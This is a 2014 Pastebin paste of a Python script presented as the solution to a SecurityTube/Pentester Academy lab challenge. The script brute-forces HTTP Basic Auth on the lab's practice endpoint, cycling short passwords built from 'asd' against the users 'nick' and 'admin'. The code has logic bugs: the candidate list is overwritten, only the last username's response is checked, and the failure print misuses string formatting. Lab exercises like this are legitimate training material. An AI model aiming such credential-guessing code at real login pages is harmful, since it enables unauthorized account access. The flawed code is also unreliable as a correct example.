Guest User

iSecur1ty.org - Securitytube challenge 3 solution

a guest
Jan 29th, 2014
309
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2.  
  3. import requests
  4. from requests.auth import HTTPBasicAuth
  5.  
  6. """
  7. Solution Coded By : Ahmed Sherif - iSecur1ty.org
  8.  
  9. """
  10. pass_list = 'asd'
  11.  
  12. for current in xrange(5):
  13.     a = [i for i in pass_list]
  14.     for y in xrange(current):
  15.         a = [x+i for i in pass_list for x in a]
  16.  
  17.  
  18. username = ['nick','admin']
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26. for passw in a :
  27.     for user in username:
  28.  
  29.  
  30.         send = requests.post("https://pentesteracademylab.appspot.com/lab/webapp/basicauth",auth=HTTPBasicAuth(user, passw))
  31.  
  32.     if "Unauthorized" not in send.text:
  33.         print("Yes it worked " + passw)
  34.         break
  35.     else:
  36.         print("Not Connected with pass %s and user %s") %(passw,user)
RAW Paste Data